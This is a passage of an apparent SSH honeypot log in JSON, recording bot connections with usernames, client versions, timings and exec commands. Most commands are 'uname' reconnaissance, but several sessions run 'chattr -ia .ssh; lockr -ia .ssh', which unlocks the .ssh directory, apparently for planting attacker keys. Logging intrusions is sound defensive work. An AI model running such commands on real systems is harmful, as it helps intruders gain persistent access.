  "ended_at": "2026-08-26T13:21:20.655248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "22675d9c-daf6-482f-a307-d4876e3ac701",
  "name": "gleaming-sterling-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56176,
  "username": "kipt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:15.193319+00:00",
  "ended_at": "2026-08-26T13:21:19.922626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "727c4a6a-7880-4112-a8ac-8d26f09ac588",
  "name": "jolly-bronzed-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:14.826027+00:00",
  "ended_at": "2026-08-26T13:21:16.827367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c7616e5-8443-479a-b1dd-bdfdc090db6e",
  "name": "gloomy-ruddy-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:11.530509+00:00",
  "ended_at": "2026-08-26T13:21:13.031199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bb680ce-5250-4454-8702-fcd91992be3c",
  "name": "frank-solar-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55832,
  "username": "kipt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:10.782283+00:00",
  "ended_at": "2026-08-26T13:21:19.920584+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "2f3a23a8-0e01-4580-8622-9b67b449a9f1",
  "name": "oaken-quaint-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42780,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:04.389418+00:00",
  "ended_at": "2026-08-26T13:21:07.703292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c8c40091-acfe-4896-a2d9-297687dcaa2e",
  "name": "western-early-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40930,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 649,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:45.221954+00:00",
  "ended_at": "2026-08-26T13:20:50.029641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2bb8b7ca-29ce-4e8c-a1e5-be6735c03e7b",
  "name": "spirited-wooded-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 474,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:29.017650+00:00",
  "ended_at": "2026-08-26T13:20:35.245681+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "074d4433-8b22-4d18-af6f-822e9ff9b30d",
  "name": "hazel-jovial-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:18.984510+00:00",
  "ended_at": "2026-08-26T13:20:23.807623+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da52070a-9a4d-405e-a225-9b3d56fb44a3",
  "name": "graceful-quartz-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42786,
  "username": "csgo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:20:16.814297+00:00",
  "ended_at": "2026-08-26T13:20:20.963047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "937d29e4-9b51-4ef3-81b1-25949ccd39f2",
  "name": "frosty-rugged-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48778,
  "username": "csgo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 413,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:13.531496+00:00",
  "ended_at": "2026-08-26T13:20:20.964108+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "6fa7f150-6737-4dbb-b0e5-ba79cf4524ba",
  "name": "dappled-rambling-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55896,
  "username": "arthur",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:20:08.631182+00:00",
  "ended_at": "2026-08-26T13:20:13.446476+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54c7d7ac-fb63-4615-b089-6a2c1a73ac1c",
  "name": "reedy-cosmic-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54064,
  "username": "arthur",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 490,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:20:02.631121+00:00",
  "ended_at": "2026-08-26T13:20:13.445010+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "e9c22aab-a3b6-4ea0-ba0d-f550ad366c9f",
  "name": "vaulted-northern-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:19:39.665578+00:00",
  "ended_at": "2026-08-26T13:19:42.854492+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14174ffe-d53d-4133-b1aa-d404449c11b7",
  "name": "gnarled-mossy-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 39650,
  "username": "lighthouse",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:19:29.233195+00:00",
  "ended_at": "2026-08-26T13:19:35.398069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a36799c0-6f8d-459b-9004-35a7432f4ea4",
  "name": "seaward-watchful-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43498,
  "username": "lighthouse",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:19:24.374581+00:00",
  "ended_at": "2026-08-26T13:19:35.399389+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "c58f753f-71cb-41b6-b807-c0c29666760d",
  "name": "gnarled-orderly-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43710,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:19:22.700808+00:00",
  "ended_at": "2026-08-26T13:19:26.209549+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7a3b2e58-1424-44bf-ac9a-35e0b73dd2af",
  "name": "keen-calm-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:58.661415+00:00",
  "ended_at": "2026-08-26T13:19:03.711401+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86fca611-5d5b-4a78-b15f-39b46a687c6f",
  "name": "hearty-lofty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:50.675410+00:00",
  "ended_at": "2026-08-26T13:18:54.266334+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5dde9172-f737-4cb2-add3-c12e54477566",
  "name": "ivory-tender-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57150,
  "username": "clawdbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:18:45.788290+00:00",
  "ended_at": "2026-08-26T13:18:51.033469+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d7151da-f230-43bc-9082-4e63f36af82d",
  "name": "nimble-silent-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58792,
  "username": "clawdbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:40.374157+00:00",
  "ended_at": "2026-08-26T13:18:51.032066+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "1261f400-7a1d-4efd-b2a7-d9feaf63e031",
  "name": "autumn-cobalt-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 951,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:18:24.164394+00:00",
  "ended_at": "2026-08-26T13:18:26.224187+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "b7f50573-baa2-4879-8a12-fed6dc9742b9",
  "name": "merry-plucky-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32802,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 681,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:20.171924+00:00",
  "ended_at": "2026-08-26T13:18:26.209824+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74cca95b-0239-4163-8321-fde925effb99",
  "name": "wiry-proud-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 43492,
  "username": "erpnext",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:18:15.147166+00:00",
  "ended_at": "2026-08-26T13:18:21.435252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8169a100-759c-4a0d-b015-05dfb35ab9b0",
  "name": "leafy-mighty-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34454,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 864,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:12.873037+00:00",
  "ended_at": "2026-08-26T13:18:17.279162+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f356088-01cc-44fa-bc56-0d1c5cb06ac8",
  "name": "dewy-reedy-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32920,
  "username": "erpnext",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 790,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:18:10.823137+00:00",
  "ended_at": "2026-08-26T13:18:21.490337+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "ea1d7d57-7bf4-4944-a9f8-dffe90554ffa",
  "name": "weathered-graceful-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58579,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:18:09.206321+00:00",
  "ended_at": "2026-08-26T13:18:10.924451+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58ec68b0-2d8e-47db-82e7-e9be3fb08e6a",
  "name": "electric-glassy-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50306,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:51.899115+00:00",
  "ended_at": "2026-08-26T13:17:53.255274+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2df60e28-2308-4a81-9c48-c06aa6178ccc",
  "name": "subtle-rapid-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57416,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:51.567583+00:00",
  "ended_at": "2026-08-26T13:17:58.296515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e4f1ebd-f4da-4f98-8b61-05069f6f8749",
  "name": "burly-noble-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50296,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:48.009184+00:00",
  "ended_at": "2026-08-26T13:17:50.098931+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0c725b6-9614-4c40-b897-42d11a5688c4",
  "name": "mossy-amber-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33968,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 900,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:47.763425+00:00",
  "ended_at": "2026-08-26T13:17:58.293368+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "5c5dc15d-1289-485b-827d-fab2724e2de0",
  "name": "rapid-seaward-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 845,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:32.257467+00:00",
  "ended_at": "2026-08-26T13:17:35.337924+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eaf2186a-1750-477a-8cf5-77fb4f7bd051",
  "name": "obsidian-windswept-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 32778,
  "username": "config",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:17:25.637352+00:00",
  "ended_at": "2026-08-26T13:17:31.817881+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5528b84-0fc4-4645-8bbe-443b796c187a",
  "name": "obsidian-blazing-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:17.839192+00:00",
  "ended_at": "2026-08-26T13:17:22.165000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "26c1f9be-faaa-41ce-b730-9a4a101cd086",
  "name": "quaint-knotted-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57736,
  "username": "config",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 619,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:17:17.766810+00:00",
  "ended_at": "2026-08-26T13:17:31.816720+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0b710257-5f6a-4b5a-9bdb-c25905510a14",
  "name": "placid-valiant-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33660,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:16:52.675699+00:00",
  "ended_at": "2026-08-26T13:16:58.575661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e844139-95cd-4f43-8069-631dd70d7943",
  "name": "dewy-vernal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49090,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 653,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:45.519391+00:00",
  "ended_at": "2026-08-26T13:16:58.577340+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "3288cc6c-8f3d-45ea-b410-7b3eb0efcad2",
  "name": "misty-drifting-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 427,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:45.413046+00:00",
  "ended_at": "2026-08-26T13:16:48.737378+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25beb220-389a-4dd7-a5a0-a64eaed20f0f",
  "name": "austere-gleaming-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:16.188049+00:00",
  "ended_at": "2026-08-26T13:16:21.006775+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "46afc84b-b02f-4a84-ba29-25d0e3fe2deb",
  "name": "shifting-bitter-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46326,
  "username": "app",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 467,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:16:10.082418+00:00",
  "ended_at": "2026-08-26T13:16:16.202869+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4a18f5cf-a9a3-43df-829d-94336a13d159",
  "name": "candid-vigilant-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57720,
  "username": "marcu1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:16:05.983413+00:00",
  "ended_at": "2026-08-26T13:16:11.642964+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8c713a3-9060-4183-b4c8-fa0d898b8ef7",
  "name": "sunlit-tidal-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58122,
  "username": "marcu1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:59.818574+00:00",
  "ended_at": "2026-08-26T13:16:11.641436+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "2fdf90d1-e6fe-40c2-8e80-2369762a947f",
  "name": "gleaming-feral-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:42.787528+00:00",
  "ended_at": "2026-08-26T13:15:46.581596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07ce5ea8-7603-4889-80b0-b7d94eadd9b7",
  "name": "sincere-hollow-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48408,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 479,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:33.236750+00:00",
  "ended_at": "2026-08-26T13:15:38.702447+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d267a83-325a-4bde-a61c-5c4373b32e81",
  "name": "obsidian-tidal-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:18.877498+00:00",
  "ended_at": "2026-08-26T13:15:23.563787+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c010eb6f-55ef-47a1-8e86-7c91519a9acd",
  "name": "diligent-smoky-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 576,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:15:10.226622+00:00",
  "ended_at": "2026-08-26T13:15:13.985879+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "00394236-bcb6-4a9b-af1f-1c221f8e2a22",
  "name": "faded-muted-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1167,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:15:06.296677+00:00",
  "ended_at": "2026-08-26T13:15:08.206951+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0c0ef5d1-1bde-4823-8f14-724e9f9a1d51",
  "name": "windswept-ancient-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50542,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 863,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:51.662641+00:00",
  "ended_at": "2026-08-26T13:14:54.777003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41220127-00e0-4529-b8a6-99163cbec477",
  "name": "stoic-salty-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:39.354762+00:00",
  "ended_at": "2026-08-26T13:14:42.913351+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2f4c7e1-9894-4dd8-8206-d3e798c1c3d2",
  "name": "diligent-solemn-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:35.204805+00:00",
  "ended_at": "2026-08-26T13:14:37.902542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8b1487f-b511-4025-ba74-34599d0bd59c",
  "name": "golden-deft-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54078,
  "username": "ali",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:34.834941+00:00",
  "ended_at": "2026-08-26T13:14:43.470286+00:00",
  "ended_reason": "no channel opened",
